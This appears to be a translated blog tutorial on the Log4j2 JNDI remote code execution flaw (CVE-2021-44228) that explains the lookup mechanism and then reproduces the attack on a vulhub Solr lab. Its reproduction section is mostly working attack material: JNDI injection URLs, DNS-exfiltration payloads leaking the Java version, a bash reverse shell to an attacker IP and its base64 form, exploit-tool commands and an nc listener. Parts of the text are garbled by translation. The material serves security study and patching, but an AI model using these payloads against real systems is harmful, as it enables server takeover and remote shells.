Log4j2 principle analysis and vulnerability recurrence

Log4j2 principle analysis and vulnerability reproduction

0x01 log4j2 introduction

Log4j2 is a mature and powerful logging framework for Java applications. It is an upgraded version of Log4j. Compared with Log4j, Log4j2 has significant improvements in performance, reliability and flexibility.

Log4j2 Features

  1. High performance: Log4j2 uses an asynchronous logging mechanism that can provide higher throughput and lower latency than traditional synchronous logging, so it can still maintain excellent performance under high load situations.
  2. Flexible configuration: Log4j2’s configuration file uses XML, JSON or YAML format, allowing flexible configuration and customization of log format, target, log level and other attributes.
  3. Multiple output targets: Log4j2 supports multiple log output targets, including console, file, database, remote socket, JMS, Apache Flume, etc. You can configure log output to different targets according to your needs.
  4. Powerful filters and routing: Log4j2 supports filter functions, which can filter according to log level, source, thread and other conditions, and decide whether to record logs when the conditions are met. In addition, routing can be performed based on specific attributes of the logs to record different logs to different targets.
  5. Loading plug-ins on demand: Log4j2 uses a plug-in architecture that allows various add-ons and extensions to be loaded on demand, such as custom output targets, formatters, filters, etc. This allows the functionality of Log4j2 to be extended and customized as needed.
  6. Context Containers: Log4j2 provides context containers such as ThreadContext and ContextMap for tracking and managing logging in multi-threaded environments. This is useful for identifying and debugging logs for a specific thread.

Overall, Log4j2 is a powerful and flexible logging framework designed to provide high-performance logging solutions. It is widely used in various Java applications and frameworks to help developers better manage and analyze application log information.

Application of Log4j2 components

Here are some common examples of middleware and applications that use Log4j2 components:

  1. Apache Tomcat – Java Web Server
  2. Apache Kafka – distributed stream processing platform
  3. Apache ActiveMQ – Open source message queuing system
  4. Elasticsearch – Distributed search and analytics engine
  5. Spring Framework – Java development framework
  6. Hibernate ORM – Object Relational Mapping Framework
  7. Apache Camel – Enterprise Integration Pattern Framework
  8. Apache Solr – open source search platform
  9. Apache Druid – Real-time analytics database
  10. Apache NiFi – Data stream processing system
  11. Apache Flink – distributed stream processing framework
  12. Apache Hadoop – distributed computing framework
  13. Apache Spark – distributed big data processing framework
  14. Apache Storm – Real-time stream processing framework
  15. Alfresco – Open source enterprise content management system
  16. Atlassian JIRA – Project management and defect tracking tool
  17. Jenkins – Continuous Integration and Delivery Platform
  18. SonarQube – Code quality management platform
  19. Liferay – Enterprise Portal and Content Management System
  20. Graylog – Log management and analysis platform

0x02 CVE-2021-44228

Vulnerability introduction:

Apache Log4j2 is a Java-based logging tool that is currently widely used in business system development. Developers can use this tool to log the input and output information of the program.

On November 24, 2021, the Alibaba Cloud security team reported the Apache Log4j2 remote code execution vulnerability to Apache officials. This vulnerability is due to the recursive parsing function of some functions of Apache Log4j2, which allows attackers to directly construct malicious requests, trigger remote code execution vulnerabilities, and thereby obtain the permissions of the target server.

The most commonly used logging frameworks in Java are log4j2 and logback. Log4j2 supports the lookup function (lookup and search), which is also a very powerful function. The original design purpose is also to facilitate developers to call

For example, when the developer wants to print today’s date in the log, he only needs to output

d

a

t

a

:

M

M

?

d

d

?

y

y

y

y

,at this time

l

o

g

4

j

will

{data:MM-dd-yyyy}, at this time log4j will

data:MM?dd?yyyy, at this time log4j will process the content wrapped in {} separately, identify it as a date search, and then replace the expression with today’s date content and output it as “08-22-2022”, This eliminates the need for developers to write their own code to find dates.

In addition to supporting dates, expressions also support functions such as outputting system environment variables, which greatly facilitates developers. However, security issues are often caused by “convenience”. After all, designers also need to strike a balance between security and user experience.

In fact, printing dates and printing system variables does not pose any threat to the system. The final reason is that log4j also supports the JNDI protocol.

CSDN gift package: “Hacker &Network Security Introduction &Advanced Learning Resource Package” free sharing

Vulnerability applicable version

2.0 <= Apache log4j2 <= 2.14.1

Principle of vulnerability

The Apache log4j2-RCE vulnerability is caused by a problem with the Jndi Lookup module under the lookup function provided by Log4j2. This function module allows developers to request the remote host through the corresponding protocol when outputting log information. H. When developers process data, they do not judge the information entered by the user, causing Log4j2 to request resources containing malicious code on the remote host and execute the code therein, resulting in a remote code execution vulnerability.

Log4j is a general logging tool. Developers can use log4j to record the current program status. The function of log4j is very powerful. In addition to recording text directly, developers can also use simple expressions to record dynamic content, such as:

logger.info("system property: ${sys:user.dir}");
lookup function

Lookup is a mechanism for dynamically obtaining and replacing the value of a variable or property in a log record. It provides a flexible way to reference, parse and insert various context-sensitive information in log messages.

Log4j2 has multiple built-in Lookup implementations, each with different purposes and functions. Here are some common lookup types:

  1. ${date}: Get the current date and time, supporting custom formats.
  2. ${pid}: Get the ID of the current process.
  3. ${logLevel}: Get the current logging level.
  4. ${sys:propertyName}: Get the value of the system property, for example ${sys:user.home} gets the user’s home directory.
  5. ${env:variableName}: Get the value of the environment variable, for example ${env:JAVA_HOME} gets the Java installation path.
  6. ${ctx:key}: Get the value of the specified key in the log thread context (ThreadContext).
  7. ${class:fullyQualifiedName:methodName}: Get the return value of the static method of the specified class.
  8. ${mdc:key}: Get the value of the specified key in MDC (Mapped Diagnostic Context).

Use ${} for wrapping. In the above example, sys:user.dir means using the sys parser to find the content of user.dir, that is, searching for user.dir in the system environment variable to replace ${sys:user.dir} to print.

In addition to the sys parser, there are many other types of parsers in log4j. Among them, the jndi parser is the source of this vulnerability.

jndi parser

The jndi parser will obtain the jndi object through jdk and use this jndi object to replace the original text for printing. We can understand the jndi object as a Java program object obtained from outside the program. JDK provides a variety of different ways to obtain jndi objects. The acquisition method can be called schema, so the normal logging method containing jndi is as follows:

logger.info("system property: ${jndi:schema://url}");

Among them, schema is the way to find jndi objects. JDK supports corbname, dns, iiop, iiopname, ldap, ldaps, and rmi schemas.

The url is the path of jndi under several different schemas. Different schemas have different configuration methods for url paths. The commonly used schame is ldap, and its url writing method is relatively simple: jndi:ldap://xxx.dnslog.cn

jdk will download a byte stream from the path specified by url, deserialize it into a Java object, and return it as jndi. During the deserialization process, the program contained in the byte stream is executed.

Therefore, if an attacker can control the content of the log print, the target server can download the code byte stream from any URL specified by the attacker, and the code attached by the attacker in the byte stream will be executed on the target server.

How does an attacker control the log content recorded on the server?

Most web service programs log user input. For example: which URLs the user has visited, what key inputs, etc. will be sent to log4j as parameters. We can write ${jndi:ldap://xxx.dnslog.cn} in these places to make the web service from xxx.dnslog.cn downloaded the byte stream.

What is jndi

JNDI (Java Naming and Directory Interface, JAVA Naming and Directory Interface): It provides a directory system and associates service names with objects, allowing developers to use names to access objects during the development process. There are many directory interfaces under JNDI for searching and referencing different data sources.

JNDI injection is mainly used to download remote classes to run malicious code. JNDI injection attacks are commonly used through RMI and LDAP services.

ldap service

LDAP (Lightweight Directory Access Protocol) is an open, neutral, industry-standard application protocol that provides access control and maintains directory information for distributed information through IP protocols.

Directory is a professional distributed database optimized for query, browsing and search. It organizes data in a tree structure, just like the file directory in Linux/Unix system.

RMI

RMI (Remote Method Invocation): It is a mechanism that allows an object on a Java virtual machine to call the method of an object on another Java virtual machine.

0x03 attack process

The general process of log4j2 remote code execution vulnerability (RMI is used here, the same is true for LDAP): Assume that there is a Java program that adds user name information to the log, as follows:

image-20230908103511778

a. The attacker sends an HTTP request with the username ${jndi://rmi:server address/Exploit}

b. The attacked server finds that ${} is included in the information to be output, and the content must be processed separately. Further analysis is the JNDI extension content and RMI is used, and then the exploit is requested based on the RMI server address.

c. The RMI server returns a Reference object (used to tell the requesting end the class of the requested object), and the Reference specifies the class file containing malicious code on the remote file download server.

d. The attacked server uses the Reference object to request the class file on the file download server.

e. The attacked server downloads the malicious class file and executes the malicious code in it.

LDAP
When the user enters information, the log4j2 component in the application records the information to the log

a. If the log contains the statement ${jndi:ldap:192.168.96.1:1099/exp}

b. When the attacked server finds ${} in the information to be output, log4j will parse the information and use the jndi lookup() method to parse the URL: ldap:192.168.96.1:1099/exp

c. After parsing to ldap, it will go to the ldap service at 192.168.61.129:1099 to find the resource named exp. If it cannot find it, it will go to the http service to find it. After exp is found in http, the resource information will be returned to The log4j component of the application will be downloaded, and then it will be found that exp is a .class file, and the code inside will be executed, thereby injecting the attacker to execute arbitrary commands through the shell, causing serious harm.

0x04 vulnerability reappears

Vulnerability environment

Target drone: kali 192.168.100.134 vulhub/log4j/CVE-2021-44228

image-20230908111422588

Attack machine: windows 10 192.168.100.143

Or local physical machine

New version tool address:

exp:https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4

Old version tool address:

exp:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

1. Visit the drone

Target drone ip:8983

image-20230908111222097

2.dns echo verification

Insert Payload at injection point

/solr/admin/cores?action=${jndi:ldap://vbdpkn.ceye.io}

image-20230917110150137

Check whether cecy returns data

image-20230908111139848

Check java version

${jndi:ldap://${sys:java.version}.vbdpkn.ceye.io}
${jndi:rmi://${sys:java.version}.vbdpkn.ceye.io}
${jndi:ldap://DNSlog address/exp} //DNSolg address

Successfully brought out through dnslog, the corresponding java version

image-20230917110429716

3. Encode the bash rebound shell command for later use

bash command rebound shell

bash -i > & amp; /dev/tcp/192.168.100.143/8888 0> & amp;1
  • bash: Start a Bash shell.
  • -i: Opens an interactive shell session, allowing the user to enter commands and obtain output.
  • > & amp; /dev/tcp/192.168.100.143/8888: Redirect standard output and standard error output to the specified IP address 192.168.100.143 and port number for `8888 ‘ TCP connection. In other words, it will try to establish a network socket connection to that IP address and port number, and send output to that connection.
  • 0> & amp;1: Redirects standard input (file descriptor 0) to standard output (file descriptor 1), meaning that both input and output will be transmitted through network sockets.

base64 encoding:

YmFzaCAtaSA + JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx
4. Use JNDIExploit to exploit vulnerabilities

Fill in the above base64 encoded bash command into the specified location

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64 encoded Payload} | {base64,-d} | {bash,-i}\ " -A "attack machine IP"

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA + JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xNDMvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A " 192.168.100.143"

image-20230908111110779

5. Turn on monitoring on the attacking machine
nc -lvvp 8888
6. Use payload to attack
http://192.168.100.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.100.143:1389/isimox}

//Put the JNDI link service generated by the tool into the url for execution
7. View the echo

image-20230908111049235

Rebound shell successful;

Use the new version of the tool:

For other basic operations, the echo based on DNSlog judgment is consistent with the above.

Help can be found at:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -h

image-20230917110816580

First enable LDAP and HTTP services:

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1 //attacker IP

//You can modify the ports of LDAP and HTTP services by adding parameters. Please refer to --help for details.

image-20230917110926776

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.100.1 -u
//View usage

image-20230917111624682

Select any of the above ldap services:
for example:
ldap://192.168.100.1:1389/Basic/ReverseShell/[ip]/[port]
structure:
ldap://192.168.100.1:1389/Basic/ReverseShell/192.168.100.1/8888
//Attack IP and listening port

Turn on monitoring locally:

image-20230917111922418

Fill in the constructed content into ${jndi:} and execute the url

image-20230917112015959

After clicking Execute, the listening end of the opened LDAP and HTTP services will return information:

image-20230917112132529

Look at the local listening port return:

Rebound shell successfully

image-20230917112254775

0x05 vulnerability repair

  • Update log4j to rc2
  • Configure firewall policies to prohibit active connections to external network devices
  • Upgrade affected applications and components
  • Filter related keywords, such as ${jndi://*}
  • Limit the protocols that JNDI can use by default
  • Limit the servers and classes that can be accessed via LDAP

CSDN gift package: “Hacker &Network Security Introduction &Advanced Learning Resource Package” free sharing

syntaxbug.com © 2021 All Rights Reserved.